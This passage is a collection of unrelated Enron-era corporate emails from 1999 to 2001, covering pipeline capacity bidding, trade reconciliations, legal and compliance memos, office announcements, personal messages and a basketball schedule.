transportation capacity.? Multiple electronic bid(s) can be submitted for the 
total available transportation capacity under the specified package OR 
multiple 
rates can be submitted each for a partial amount of available transportation 
capacity under the specified package.? If the same Shipper submits multiple 
bids, 
the highest present value for such package of available transportation 
capacity 
shall be considered the valid bid. All other bids from the same Shipper for 
the 
same package of transportation capacity will be discarded. 

2. Northwest awards bids based on a net present value calculation.? If bid 
rate is 
??????? less than minimum tariff rate, the following formula is utilized:? 
Bid Rate x 
??????? FERC Interest Rate x The Maximum Bid Quantity x 365 days/100/12; or 
if the 
??????? maximum rate is bid, the following formula is utilized:? Bid Rate x 
FERC Interest 
??????? Rate x Maximum Bid Quantity x days bid/100. In case of a tie, each 
tied shipper 
??????? will have the right to improve its bid by submitting an improved bid 
within 24 
??????? hours of the bid close time.? Such improved bid shall be faxed to 
(801) 584-7076 
??????? to Candace Karpakis or Patrick Aman.? If a tie still exists, such 
capacity shall 
??????? be awarded on a prorata basis. 

3. Northwest will not accept bids with a primary contract term (Term) longer 
than 
??????? indicated for the capacity unless maximum rate is bid. 

INSTRUCTIONS FOR CREATING A BID FOR 
NORTHWEST'S FIRM CAPACITY RELEASE 
OFFERS 

1. Select "CAPACITY RELEASE" application in Northwest Passage. 
2. Select "CREATE/SUB BID FOR NWP CAP" application.? All current offers will 
appear. 
3. Highlight the offer you are interested in by clicking the left mouse 
button 
on the offer. 
4. Select the "TERMS & COND" button at the top of the screen, which is now 
active.? The screen will allow you to review the conditions of the offer. 
Close this screen when you have finished reviewing. 
5. At this point you can review current bids posted for this offer by 
selecting 
the "VIEW BID" button.? Close this screen when you have finished viewing. 
6. If you would like to create a bid for this offer, select "CREATE BID" 
button. 
7. If you want to bid the maximum rate for the capacity, select the "BID MAX 
RATE" button. 
8. Highlight the "END DATE" if you want to modify the end date of the term of 
your offer. 
9. If you want to modify the receipt/delivery point maximum and minimum 
volume, 
highlight the receipt/delivery point section with the left mouse button and 
modify accordingly. Select "SAVE".? If an error appears at the button of the 
screen, the error will need to be corrected and the data will need to be 
saved again.? If successful, a message will appear indicating the bid 
information has saved and the bid rate must be entered.? Select "OK". 
10. Select the "RATE" button.? Enter the bid rate.? Select "SAVE". 

You have just "CREATED" your bid for the offer.? You now need to 
"SUBMIT" your bid as follows: 

11. Close out of all screens and return to the "CAPACITY RELEASE" menu 
screens. 

12. To Submit or Review your bid(s), select the "REV/SUB/WDRW NWP CAP BID" 
button. 
All of your bids will appear.? Highlight the "BID IN DRAFT STATUS" that you 
would like to submit.? Select the "SUBMIT" button at the top of the screen 
to post the bid. 

To Withdraw your bid(s), select the "REV/SUB/WDRW NWP CAP" button. 
All of your bids will appear.? If the bid has not yet been submitted, 
highlight the "BID IN DRAFT STATUS" that you would like to withdraw. 
Select the "WITHDRAW" button at the top of the screen to withdraw the 
bid.? After a bid has been withdrawn, you can select the "DELETE" 
button at the top of the screen to delete it from the screen. 
NOTE:? After each selection, always "REFRESH" the screen to get the latest 
status. 

Word: F\Short Term/Capacity for Bid-All 2001 April 26, 2001 01-237 Res.doc 

What are the winning lotto numbers for Wed night?

Matthew B Fleming@EES
10/31/2000 08:36 AM
To: Chris Germany/HOU/ECT@ECT, Jay Blaine/HOU/EES@EES, Paul Tate/HOU/EES@EES
cc:  
Subject: Transco Meeting

I have scheduled conference room 872 for 2:30 - 4:00 pm Thursday Nov. 2 for 
the arrival of Ingrid to our building.  

Any questions let me know.

Matt

Errol-
Can you help me on this deal-
I need to make an prior month adjustment, as well as adjust books for current 
month-

Calpine only knows deal QF1336.1, not QF1336.1

let me know
thx
jennifer

	From:  Jennifer Blay                           05/07/2001 07:32 AM
	
To: Sheetal Patel/HOU/ECT, Derek Bailey/Corp/Enron@ENRON
cc:  
Subject: Calpine Energy

Can either one of you help me...

Calpine- does not know Deal QF1735.1-traded by John Arnold.

Deal QF1336.1 is the exact same trade terms, but is brokered through GFI and 
traded by Mike Maggi.

Calpines thinks these are duplicate trades-and only knows the QF1336.1
Their trader is Thomas McAndrew @ 713 830-8640

Calpine has short-paid by 136,990 due to this trade.

Please let me know if the trade by John Arnold is valid-
Thanks so much
jennifer
5-7678

Just wanted to compliment Tom Moran, Bill Bradford and Debbie Brackett for 
all their efforts to help our commercial initiatives. As busy as they always 
are they are a pleasure to deal with and usually supportive of our 
transactions if the deal deserves their attention. 

in

Bryan Hull
10/30/2000 11:18 AM
To: Phillip M Love/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, Michael 
Walters/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, Matthew 
Lenhart/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Denver Plachy/NA/Enron@Enron
cc:  
Subject: Game at 6:00

Our game is at 6 this week.  Let me know if you can make it so I can find 
subs if you can't. 

Carl,
I was traveling on Friday.  The Doubletree is the closest.  I'll get you a number.  Dinner on Monday is a good idea.  If you have a 5:30pm flight, leaving the office at 3:00pm will give you enough time to return a car and get to the terminal.
DG

From: 	Carl Sulzer GRE/ER Fuel/Plant <Csulzer@grenergy.com>@ENRON  
Sent:	Friday, November 02, 2001 12:26 PM
To:	Giron, Darron C.
Cc:	'Lewis, Mary Jo'
Subject:	Travel Plans for Monday November 12?

Is the closest hotel to the Enron office the Doubletree?  Do you have an
address or phone number?

I was thinking that perhaps we should plan to have dinner on Monday evening.
This would be a good opportunity to get acquainted.  Are you available?
Please let me know as we have not made our airline reservations.

I think we will take the 5:30 flight back to Minneapolis.  I assume that we
should plan to leave the office no later than 3:00.  Will this work or do we
need to leave earlier?

Susan, 
We had the best time.  Good friends, great experiences, weather , etc.  Now 
we all want to move to  Denver.  I am glad that Bens outfit worked out so 
well.
I thought it was cute and I could picture him wearing it when I purchased 
it.  So-------are you still planning the retreat weekend?  I am soooo 
jealous.  I would love to go but as I said I can not justify the expense.  
Any consideration to something a little more modestly priced?  Do you already 
have the plans made?  
Call me or write me back.   Hey - I am getting more and more excited about 
NYC.

Do we have an English version of the expert opinion concerning the Eletrabras 
guarantee that I can be reviewing?  I would like to present this along with 
the other things to the lenders next week. 

	I have a conference call with Delaine at 3:15 today on Strangers Gas.  She is to give
	me Mike Belcher's phone number.  He is the person coordinating all the condensate
	issues.  If we send a letter I would send it to Terry Spencer and reference Mike Belcher.
	If you need more, let me know.  Thanks. Lynn

From: 	Graham, Charlie  
Sent:	Wednesday, September 19, 2001 11:05 AM
To:	Talcott, Jim
Cc:	Blair, Lynn; Kile, Rick; Fancler, Dan; Walton, Mark; Kile, Rick
Subject:	MT. Jesus

Jim,
Here is another matter I need to really push, a letter demanding payment of the Mt. Jesus condensate reimbursement short payments.  Please review this letter and give me your observations, suggestions. << File: Mt Jesus2.doc >> 

Lynn,
Any better name than Spencer to send this to?  

Dan/Mark
Can you get me updated numbers?  Here is a spreadsheet that Debbie provided to me.   << File: Mt. Jesus Shortpay Analysis.xls >> 

Charlie

I tracked down some old books and ran into a few good quotations to make some 
slides either critical of price controls in practice or showing how the 
economics profession has been opposed to maximum price ceilings.

Earnings.com to Feature Live and On-Demand Webcasts of Earnings Calls for
Best Buy, Engage, NaviSite, and Net2Phone.

********************************

View complete article at: 
http://www.stockselector.com/newsarticle.asp?symbol=BBY&article=21124320

BEST BUY CO INC  23.875

NEW YORK, Dec 11, 2000 /PRNewswire via COMTEX/ -- Earnings.com, Inc., the
leading network of financial events for individual and institutional 
investors,
will be providing conference call webcasts, earnings estimates, earnings 
dates,
and earnings releases for Best Buy Co. (NYSE: BBY), Engage (Nas

Other Companies Involved:
ENGA
NAVI
NTOP
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, Copyright 1998-99, StockSelector.com

i will give you a call later and we can meet up there or something.

Legal status of SBX2 18

From: Aaron Thomas [mailto:aaron.thomas@aesmail.com]
Sent: Friday, October 19, 2001 6:18 PM
To: 'Norman Plotkin'; arem@electric.com
Subject: RE: SBX2 18

Or, he is working on the override votes?

From: Norman Plotkin [mailto:nplotkin@rcsis.com]
Sent: Friday, October 19, 2001 6:17 PM
To: arem@electric.com
Subject: SBX2 18

On the subject of SBX2 18, this is where it stands:

I.  Article IV Section 10(b)(3) of the Cal. Const. states that any bill
presented to the Governor that is not returned within 12 days becomes a
statute.   So, the Governor has 12 days to sign or veto a bill; unless ...

II.  Section 10(b)(1) says that any non-reapportionment bill passed by the
Legislature on or before the date of adjournment for interim recess that
arrives to the Gov. after the adjournment, that is not returned within 30
days becomes a statute.  So bills passed in the last week, that because of
the enrollment process do not find their way to the Gov. until after
adjournment have 30 days.

III.  Section 10(b)(1) does not apply to Extraordinary Session bills- they
always have 12 days to be signed or vetoed.  However, the clock does not
begin ticking until the Gov. receives the bill.  This last point is the
kicker.  Burton is still holding the bill in Enrollment.  So it can remain
there until:
	1. Burton frees it from Enrollment and sends it to the Gov. at which
time
it has 12 days to be signed or vetoed;
	2. The Legislature returns either sometime this fall or in Jan. and
forces
the bill by motion to the Gov. (not likely);
	3. The Legislature returns and adjourns the Snd Ex Session.

For all intents and purposes the bill is dead ... the Gov has indicated it
would be vetoed and so Burton has held it.  Burton is either holding it to
save it from a certain veto, or waiting to send it until a possible shifting
in the political sands.

---------------------- Forwarded by Jean Ryall/NA/Enron on 02/14/2001 06:11 

Edie Heuss <eheuss@texas.net> on 02/14/2001 10:31:51 AM
To: "'Jean Ryall'" <jean.ryall@enron.com>
cc:  

Subject: Documents

 - Enron Initial Brief.doc
 - Enron's Response to Oren - Final.doc
 - Enron Reply Brief 2.doc

For your records, our new address effective 4/7/00.

Danna and Maury Lane
12207 Carlsbad Drive
Austin, Texas 78733

Phone number 512-402-0207
Fax number 512-402-0609
Maury's E mail LaneM@Fleishman.com

I am enclosing the copies of presentations I have reviewed over the weekend.
Please, take a final look at your sections. I have made no changes or minor 
cosmetic changes.

The overall presentation time is limited and we have to limit every presenter 
to a  maximum
time allocation of  5 minutes (strictly enforced). 

Vince

P.S. Mike, still missing the electronic version of your presentation.

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BW2020  NOV 19,2001       2:01 PACIFIC      05:01 EASTERN

( BW)(TX-INDUSTRIAL-INFO-RES) China Builds Congo Hydro Power Project,
in an Advisory by Industrialinfo.com

    Business/Energy Editors

	   HOUSTON--(BUSINESS WIRE)--Nov. 19, 2001--The following is an
advisory by Industrialinfo.com (Industrial Information Resources Inc;
Houston). China National Machinery & Equipment Import & Export
Corporation (CMEC) and China International Enterprise Co-operative
Corporation will build a $220 million hydroelectric power plant on the
Congo River at a site 215km from Brazzaville, the capital of the
Republic of Congo in central West Africa.
	   The contract to build the 120 mega-watt (MW) power plant will more
than double the country's present generation capacity of 89MW. Most of
the output will provide power for the capital. CMEC will be
responsible for design, construction and equipment for the plant,
which will be handed over on completion in 2006. The contract signed
between China and the Republic of Congo is the largest bi-lateral
economic and trade co-operation project between the two countries to
date.
	   Industrialinfo.com provides daily news related to the industrial
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and industrial markets. For more information on trends and upcoming
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other industrial sectors send inquiries to
powergroup@industrialinfo.com or visit us at www.industrialinfo.com
and www.iirenergy.com.

    --30--EB/ho*

    CONTACT: Industrialinfo.com, Houston
             Britt Burt, 713/783-5147

    KEYWORD: TEXAS INTERNATIONAL CHINA ASIA PACIFIC AFRICA/MIDDLE EAST
    INDUSTRY KEYWORD: ENERGY OIL/GAS UTILITIES
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Did you get this?
----- Forwarded by Mark Taylor/HOU/ECT on 12/15/2000 09:39 AM -----

	Peter Keohane
	Sent by: Sharon Crawford
	12/14/2000 11:09 AM
		
		 To: Lara Fields/LON/ECT@ECT
		 cc: Justin Boyd/LON/ECT@ECT, Rob Milnthorp/CAL/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Enron London - EOL Product 
Control Group/LON/ECT@ECT
		 Subject: Re: PA Review Bank of Nova Scotia

Sorry for the delay in responding.  I have now reviewed this matter with Rob 
Milnthorp.  The status of Bank of Nova Scotia's financing arrangements to our 
counterparty Beau Canada Exploration Ltd., which was recently purchased by 
Murphy Oil  Canada Ltd., remains unclear.  However, until such time as that 
has been clarified, including the Bank of Nova Scotia's consent to our 
security for our mark-to-market positions with Beau Canada (now Murphy Oil 
Canada), Bank of Nova Scotia should not, at the request of Enron Canada, be 
added to EOL.

Peter

To: Peter Keohane/CAL/ECT@ECT
cc: Justin Boyd/LON/ECT@ECT, Rob Milnthorp/CAL/ECT@ECT, William S 
Control Group/LON/ECT@ECT 
Subject: Re: PA Review Bank of Nova Scotia

Peter-

Can you please tell me if we must continue to refuse access to EnronOnline 
for The Bank of Nova Scotia?  They have sent in another Password Application 
to apply today.

If we must continue to refuse them, can you please tell me what message I 
should convey to them?

Thank you,
Lara
   
	Enron Capital & Trade Resources 
	Canada Corp. 
	
	From:  Peter Keohane                           26/09/2000 00:17
	
To: Justin Boyd/LON/ECT@ECT
cc: Lara Fields/LON/ECT@ECT, Rob Milnthorp/CAL/ECT@ECT, William S 
Bradford/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT 
Subject: Re: PA Review Bank of Nova Scotia  

Justin, Enron Canada is currently in an unresolved dispute with Bank of Nova 
Scotia where from our perspective Bank of Nova Scotia has essentially been 
telling us to shove off.  The dispute involves BNS's purported requirement to 
consent to collateral security given to Enron Canada for physical and 
financial trading positions with a counterparty known as Beau Canada.  
Neither Bank of Nova Scotia nor any affiliate of Bank of Nova Scotia should 
be traded OnLine and all trading ought to be monitored until such time as 
this matter is resolved, and this should be expressly communicated to Bank of 
Nova Scotia.  They can speak to me directly at 403.974.6923 or to our 
President and CEO, Rob Milnthorp at 403.974.6714.

I am copying this memo to Bill Bradford and Mark Taylor for their information.

Justin Boyd
09/25/2000 08:36 AM
To: Lara Fields/LON/ECT@ECT
cc: Peter Keohane/CAL/ECT@ECT 

Lara

Subject to approval from Peter (the C/P is a Canadian corporate), I approve 
for all products except for US power, weather and credit

Peter - thanks!

Justin

To: Edmund Cooper/LON/ECT@ECT, Justin Boyd/LON/ECT@ECT, Debbie 
Nicholls/LON/ECT@ECT, Gail Hill/LON/ECT@ECT, Enron London - EOL Product 
Control Group/LON/ECT@ECT, Enron Europe Global CounterParty, Annette 
Schneider/LON/ECT@ECT, ECT London Credit, Enron Europe Global Contracts and 
Facilities, EOL Marketing Europe@ECT
cc:  

Subject: PA Review Bank of Nova Scotia

Hello all,

The Bank of Nova Scotia would like to trade with us online.  They are in GCP 
as #54087 and are existing customers of Enron Metals (Jimmy Gordon is the one 
who got them to send in the PA if that helps!).

Could you please let us know your comments in the S: access Database?

thank you,
Lara
---------------------- Forwarded by Lara Fields/LON/ECT on 25/09/2000 14:52 

London Fax System
25/09/2000 14:28
To: Enron London - EOL Product Control Group/LON/ECT@ECT
cc:  

Subject: New fax received (Likely sender: 0207 588 1542).

You have received a new fax from 0207 588 1542

The image contains 3 page(s).

Last night's kick-off for the Children's Book Drive was a huge success.  We had a fantastic turn-out, raised $970 and collected three boxes full of books.  Many people wrote personal inscriptions in the books to the children reminding them that they were in our thoughts and prayers.  Enron Corp has offered to match our contributions 2 to 1, making the total contribution from the pool $2,910.  

The drive is not over yet!  We will accept books and cash until September 28th.  You can come by and visit us on the 35th floor to make a donation.  

We are looking forward to seeing everyone in October for our Halloween Social!  This event is going to be hosted by EGM.  Stay tuned for more details.

Thanks again for a fantastic evening.  

Sincerely, 

Traci Warner
Director 
A/A Recruiting

FYI
06/28/99 02:49 PM ---------------------------

Paul Simons
06/28/99 01:14 PM
To: John Sherriff/LON/ECT@ECT, Eklavya Sareen/LON/ECT@ECT, Soma 
Ghosh/LON/ECT@ECT
cc: Scott Sefton/LON/ECT@ECT (bcc: Mark - ECT Legal Taylor/HOU/ECT)
Subject: Credit Derivatives (CDs) in Sweden

I have been through the advice received from Swedish counsel. The position of 
CDs under Swedish law can be summarised as follows.

1.  Regulation

CDs are regulated in Sweden in the same way as commodity derivatives. As 
discussed we are currently working through these issues as they relate to 
commodity derivatives with local counsel and I will be pressing them to take 
a less cautious approach than they have taken to date (particularly in light 
of our expanding presence in Sweden). As you know, our target is to avoid 
Swedish licencing requirements and the accompanying regulatory capital 
requirements. In the meantime, this uncertainty will not prevent us from 
dealing in Norway with Swedish parties based in Norway.

2.  Insurance

CDs are not analysed as contracts of insurance under Swedish law.

3.  Guarantees

  CDs are not analysed as contracts of guarantee under Swedish law.

4.  Gaming

CDs are not analysed as gaming contracts under Swedish law and (unusually) we 
do not even need to go so far as to satisfy ourselves that the contract is 
being entered into by the counterparty for a valid commercial purpose (i e 
hedging).  However, it should be noted that several types of entity may not 
enter derivatives at all for speculative purposes (e g municipalities, 
insurance companies).

5.  Confidentiality

This could be an issue for Enron even where we are selling the CD, where we 
have good reason to believe there is breach of the purchaser's duty of 
confidentiality owed to the reference credit (i e where we are not in good 
faith). The position would of course be potentially more problematical where 
we are purchasing the CD.  That said, it would be difficult in either case 
for the reference credit to establish loss (e g  damage to reputation), so it 
would be hard for them to launch a claim.  Our exposure could be restricted 
further by passing on no more information about underlying reference 
contracts than is absolutely necesssary.   I am pusuing this further with 
Clifford Chance, in particular to find out what the practice is in the London 
and New York credit derivative markets where the issue of confidentaility 
arises and I will revert to you when I have more information. Perhaps 
Merrills could shed some light on this?

6.  Subrogation & Assignment

Since CDs are not guarantees there is no right of subrogation.  It is 
possible to take an assignment of the counterparty's rights against the 
reference credit, but this will not work so as to allow Enron a right of set 
off against the reference credit where Enron is aware of the reference 
credit's insolvency at the time of the assignment (a reasonable bet) or where 
the latter becomes bankrupt within three months of the assignment.  In 
effect, this will make it very difficult indeed to extract any value at all 
(including by way of set off) from the reference credit.

Please feel free to call me on x 6566 to discuss this and to pass this note 
on to other interested staff.

Paul

---------------------- Forwarded by Juan Hernandez/Corp/Enron on 05/08/2001 08:25 AM ---------------------------
   Enron Americas - Office of the Chairman
From:	Enron Americas - Office of the Chairman on 05/04/2001 08:17 AM
Sent by:	Enron Announcements
To:	All Enron Worldwide
cc:	 
Subject:	Organization Announcement

Given the growth in EES it has become apparent that it is time to consolidate the risk functions between EES and EWS.  This will provide EES with the systems, resources and risk expertise of the wholesale energy groups necessary for it to continue to grow and take advantage of current market opportunities.

With this in mind and in agreement with the management of EES, two new risk groups inside Enron Americas will be formed to provide EES with pricing, structuring, retail and wholesale commodity risk management, logistics and back-office services.  These groups main function is to provide these services to EES.  We have asked Rogers Herndon, currently Vice President-Trading in the Eastern Power Group to manage this function in the Eastern Interconnect (this includes both gas and power).  Rogers will continue to report to Kevin Presto.  We have asked Don Black, formerly Vice President-EES Risk Management and Sourcing, to manage this function in the Western U.S.  Don will manage this group from Houston and will report to Tim Belden.

These groups will work very closely with EES to pursue shared goals while ensuring close coordination with the wholesale gas and power trading organizations.

These changes are effective immediately.  Please congratulate Rogers and Don on their new roles.

John Lavorato & Louise Kitchen

fyi
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/11/2001 02:16 

Kay Mann
04/11/2001 12:41 PM
To: lee.johnson@ss.ps.ge.com, kent.shoemaker@ae.ge.com
cc: Stephen Thome/HOU/ECT@ECT 

Subject: Breakout contract

Hi there,

I thought I'd check back to see where we are on the Delta (Salmon) break out 
contract, now that we know that the stabilizers should be included.  How's it 
looking?

Thanks,

Kay

In an effort to keep all informed, please find attached Unify's Systems 
Enhancement Priority List (for Path Manager & Volume Management only).  

If you have idenified bugs or have requested an enhancement and do not find 
it on this list, please get with Richard Pinion, Mark McClure or myself to 
review.   Our team is also available for any of your training needs!!

 Path Manager (Primary)...  Richard Pinion  x3-7339
 Volume Management (Primary)... Mark McClure  x3-7398

Thanks!

Donna Greif (x3-9517)

Why is she not being promoted down there, or staying within that 
organization???

Johnny Palmer@ENRON_DEVELOPMENT
01/03/2001 11:05 AM
To: Jeffrey A Shankman@ECT, Gary Hickerson@ECT
cc:  
Subject: Manager Position

Jeff/Gary:

Are you aware of any management opportunities for Tracee's experience?  

Thanks,
Johnny
54017

---------------------- Forwarded by Johnny Palmer/ENRON_DEVELOPMENT on 
01/03/2001 11:04 AM ---------------------------
   
	From:  Cindy Skinner @ ECT                           01/03/2001 10:31 AM
	
To: Shanna Funkhouser/Corp/Enron@ENRON, Johnny 
Palmer/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Please run her resume by the EGM heads to find out their interest level.  
Thanks.
---------------------- Forwarded by Cindy Skinner/HOU/ECT on 01/03/2001 10:34 

Janie Bonnard@EES
01/03/2001 10:01 AM
To: Shanna Funkhouser/Corp/Enron@ENRON, Cindy Skinner/HOU/ECT@ECT
cc:  

Shanna, Cindy;

Tracee is an ESA associate who is ready to promote out of the program into a 
manager level position.  Could you take a look at her resume for potential 
opportunities within EGM/EIM?  Thank you.

Janie
---------------------- Forwarded by Janie Bonnard/HOU/EES on 01/03/2001 09:52 

Tracee Bersani@ECT
01/03/2001 09:05 AM
To: Janie Bonnard/HOU/EES@EES
cc:  

Janie,

Per our telephone conversation, I am attaching my resume for your review. As 
we discussed, I am seeking a permanent (Manager level) position where my 
finance and origination skills would be best leveraged.  I am very interested 
in a role in financing and/or orginating energy deals - wholesale or retail.  
If you or one of the groups interested in interviewing me require a 
reference, please contact my current supervisor, Rob Gay, or current and 
former colleagues Peter Anderson and Greg Blair, respectively. 

Thanks again for your help and advice.

Regards,
Tracee 
x5-5688
email: tracee.bersani@enron.com

Tana,

Attached is the new list with "country" added for each counterparty.

Frank

Neither EWS/RAC/EGF employees nor family members or others living in their household or financially dependent on the EWS/RAC/EGF employee may purchase or sell securities of any entity (or derivatives thereof) listed on the Restricted List for your or their personal or related accounts or recommend the purchase or sale of such securities to any person, except with the prior approval of the Compliance Department in consultation with the ENA Legal Department.  

In addition to the trading restrictions above, should you at any time possess non-public material information about any public company, you, your family members and anybody that is financially dependent on you, are restricted from trading in that issue, and you may not disclose the non-public material information to anyone that does not have a business need to know. With respect to investments in privately held companies, you are responsible for complying in all respects with the policy entitled "Conflicts of Interest, Investments, and Outside Business Interests of Officers and Employees" in the July, 2000 Enron Corp. Code of Ethics.  Please consult the Compliance Department with any questions you may have regarding a potential investment in a privately-held company.

Company Name    Stock Symbol 

3 TEC Energy Corp.                       		TTEN 
Active Power    				ACPW 
Adrian Resources        			ADRRF 
Applied Terravision Systems, Inc.       	TER 
CanFibre Group Ltd.     			CFGL 
Carrizo Oil & Gas Inc.  			CRZO 
Catalytica Energy Systems, Inc. 		CESI 
Crown Energy    				CROE 
CyNet, Inc.     				CYNE 
Enserco Energy Service Company, Inc.    	ERC 
eSpeed, Inc.    				ESPD 
FuelCell Energy, Inc.   			FCEL 
Hanover Compressor Co.  			HC 
ICE Drilling Enterprises Inc.   		IDF 
Impact Energy   				IEY 
Industrial Holdings, Inc.       		IHII 
Kafus Environmental Industries, Inc.    	KS 
KCS Energy      				KCS 
Nakornthai Strip Mill Public Co Ltd     	NSM SET 
Paladin Resources PLC   			PLR LD  
Southwest Royalties     			SWROY 
Syntroleum Corp.        			SYNM 
Tejon Ranch Corp.       			TRC 
TransCoastal Marine Services, Inc.      	TCMS 
Verado 					VRDO 

The Restricted List is solely for the internal use of EWS/RAC/EGF.  No one may engage in discussions regarding whether a security is or is not on the Restricted List with persons outside EWS/RAC/EGF without specific clearance from the Compliance Department in consultation with the ENA Legal Department.

No employee of any Enron Business Unit may engage in the trading of any Position for the benefit of any party other than an Enron Business Unit (whether for their own account or for the account of any third party) where such Position relates to (i) any financial instrument, security, financial asset or liability which falls within such employee's responsibility at an Enron Business Unit, or (ii) any other commodity not covered by (i) included in any Commodity Group.  

Position shall mean, collectively, the risk components (including, but not limited to, price risk, basis risk, index risk, credit risk and liquidity risk) of all products (commodities, financial instruments, securities, equities, financial assets or liabilities) which have been authorized for trading in the Enron Corp. Risk Management Policy, any of the Enron Corp. Policies or approved for trading through any amendments to this Policy.

The prohibitions listed above do not replace or modify the policies set forth in EWS's Policies and Procedures Regarding Confidential Information and Securities Trading, Enron Corp.'s Risk Management Policy, or Enron Corp.'s Code of Ethics  .  Should you have any questions regarding the above, please contact me at ext. 31939

Donna Lowry 
Sr. Director 
RAC Compliance 
(713) 853-1939 
(713) 646-4039 fax 

Chris -
Looks like these deals might have been entered for the wrong term. I'll check 
with Jeff on this, but if you recognize that the terms are wrong, please let 
me know and I can fix them. Here are the deals:

576274
STCA buys ARCO
SP-15
May-01
On Peak
15 MW @ $260

576275
SP-15
May-01
Off Peak
15 MW @ $135

Thanks for checking on this.
Kate
---------------------- Forwarded by Kate Symes/PDX/ECT on 04/11/2001 08:28 AM 
Stephanie Piwetz   04/11/2001 07:55 AM

cc:  

Subject: Atlantic Richfield Company 4/9/01

Kate, 
I called Alicia Izarraraz from Atlantic to verbal trades and she was 
inquiring about the term of trade, May delivery, she thought they were going 
to be for April delivery. Deals 576274.01, 576275.01.  Kate, can you ask 
Chris to call regarding inquiry.  Her cell phone is 949-637-4878, her desk 
number 562-499-3201 she said she will be out if the office soon.  No broker, 
done direct.
Thanks
Sp

Your order is here.    Your total is $43.56.  I am training someone today so 
look for me in my blue sweater and ponytail.  I should be somewhere in the 
area.

Thanks,
Marlo

Marlo C James
11/28/2000 11:17 AM
To: Judy Hernandez/HOU/ECT@ECT
cc:  
Subject: Re: AVON ORDER  

Just to give you an update.  Avon ran short on these since they were so 
popular.  I am suppose to get it the week before Christmas.  If it comes 
earlier I will let you know.

Thanks,
Marlo

Judy Hernandez
11/06/2000 04:11 PM
To: Marlo C James/HOU/ECT@ECT
cc:  
Subject: AVON ORDER

1 BARBIE QUILTED JACKET - SIZE: 4/5 - $39.99

Oh my god--so much desire to run, but i have a dinner tonight--my last since 
it's time to get into shape.  Maybe I'll wire my jaws shut.  If my dinner is 
with a 19 yr old, I'm going to take the fork and poke holes in myself.  (That 
was my dream) 
I'll tell you about it tomorrow...

Alexandra Saler@EES
01/22/2001 04:13 PM
To: Jeffrey A Shankman/HOU/ECT@ECT
cc:  

yes....I have something for you.  are you there?  did you get my message?  
any desire to go running in the park tonight?

To: Alexandra Saler/HOU/EES@EES
cc:  
Subject: 

did you call earlier today?

As you may have gathered by now, the West Origination Group has purchased 
season tickets to see the Portland Trail Blazers on their path to 
championship glory. We have four seats which will be used primarily to 
entertain customers and foster outside business relationships. 

Please look over the attached schedule and determine the game dates you would 
like to reserve. Tickets will be distributed on a first-come first-serve 
basis, so be sure to plan as far in advance as possible. Games that have not 
been reserved as of three days prior will be distributed internally or given 
to outside parties. 

http://www.nba.com/blazers/schedule.html#CURRENT 

If you have any questions or would like to reserve tickets, contact Blazer 
Command Central by e-mail, telephone, or in person. 

Kate Symes, ext. 3748 
Mollie Gustafson, ext. 3817
 
		Sponsored by Mercata  

			2000-2001 Season Schedule 
			[IMAGE]
			2000-2001 Complete NBA Schedule
			 [IMAGE]
			Team-by-Team Schedules | 1999-2000 Results 
			
			OCTOBER
			NOVEMBER
			DECEMBER
			JANUARY
			FEBRUARY
			MARCH
			APRIL
			
			OCTOBER 
			DATE 
			OPPONENT
			BOX SCORE
			W-L
			HIGH PTS
			HIGH REB
			Thu 12 
			L.A. Clippers Preseason 
			W 92-84 
			1-0 
			R. Wallace 21
			
			D. Davis 13
			
			Fri 13 
			at Golden State Preseason 
			L 96-99 (OT) 
			1-1 
			Stoudamire 21
			
			R. Wallace 9
			
			Sun 15 
			Golden State Preseason 
			W 101-83 
			2-1 
			St. Smith 19
			Wells 19
			
			Kemp 11
			
			Tue 17 
			at L.A. Clippers Preseason 
			L 83-90 
			2-2 
			R. Wallace 19
			
			D. Davis 9
			
			Thu 19 
			at Houston Preseason 
			L 85-92 
			2-3 
			Wells 14
			
			D. Davis 9
			Kemp 9
			
			Sat 21 
			at Denver Preseason 
			6:00 
			
			Thu 26 
			Denver Preseason 
			7:30 
			
			Fri 27 
			at Sacramento Preseason 
			7:30 
			KGW 
			
			Tue 31 
			L.A. Lakers 
			7:30 
			KGW 
			
			TBS 
			
			NOVEMBER 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			NATIONAL TV
			Thu 2 
			at Phoenix 
			6:00 
			BlzrCab 
			
			NBALP 
			Sat 4 
			at Seattle 
			7:00 
			KGW 
			
			NBALP 
			Mon 6 
			at Sacramento 
			7:30 
			BlzrCab 
			
			NBALP 
			Tue 7 
			Atlanta 
			7:00 
			
			NBALP 
			Thu 9 
			Denver 
			7:00 
			
			Sat 11 
			Houston 
			7:00 
			
			NBALP 
			Mon 13 
			at New Jersey 
			4:30 
			
			NBALP 
			Tue 14 
			at Atlanta 
			4:30 
			BlzrCab 
			
			NBALP 
			Thu 16 
			at Toronto 
			4:00 
			KGW 
			
			NBALP 
			Sat 18 
			at Miami 
			4:30 
			KGW 
			
			NBALP 
			Sun 19 
			at Orlando 
			3:00 
			KGW 
			
			NBALP 
			Tue 21 
			at Washington 
			4:00 
			KGW 
			
			NBALP 
			Wed 22 
			at Milwaukee 
			5:00 
			KGW 
			
			NBALP 
			Sat 25 
			New Jersey 
			7:00 
			
			NBALP 
			Tue 28 
			Seattle 
			7:00 
			BlzrCab 
			
			NBALP 
			Thu 30 
			Dallas 
			7:00 
			
			NBALP 
			
			DECEMBER 
			DATE 
			OPPONENT
			TIME
			LOCAL TV
			
			Sat 2 
			at Houston 
			5:30 
			KGW 
			
			NBALP 
			Sun 3 
			at Phoenix 
			5:00 
			KGW 
			
			NBALP 
			Wed 6 
			Toronto 
			7:00 
			BlzrCab 
			
			NBALP 
			Fri 8 
			Philadelphia 
			7:00 
			BlzrCab 
			
			NBALP 
			Sat 9 
			Detroit 
			7:00 
			
			NBALP 
			Tue 12 
			at Golden State 
			7:30 
			BlzrCab 
			
			NBALP 
			Wed 13 
			7:30 
			KGW 
			
			TNT  , TSN 
			Fri 15 
			Orlando 
			7:00 
			
			NBALP 
			Wed 20 
			at Dallas 
			5:00 
			BlzrCab 
			
			NBALP 
			Fri 22 
			at Denver 
			6:00 
			KGW 
			
			NBALP 
			Sat 23 
			Washington 
			7:00 
			
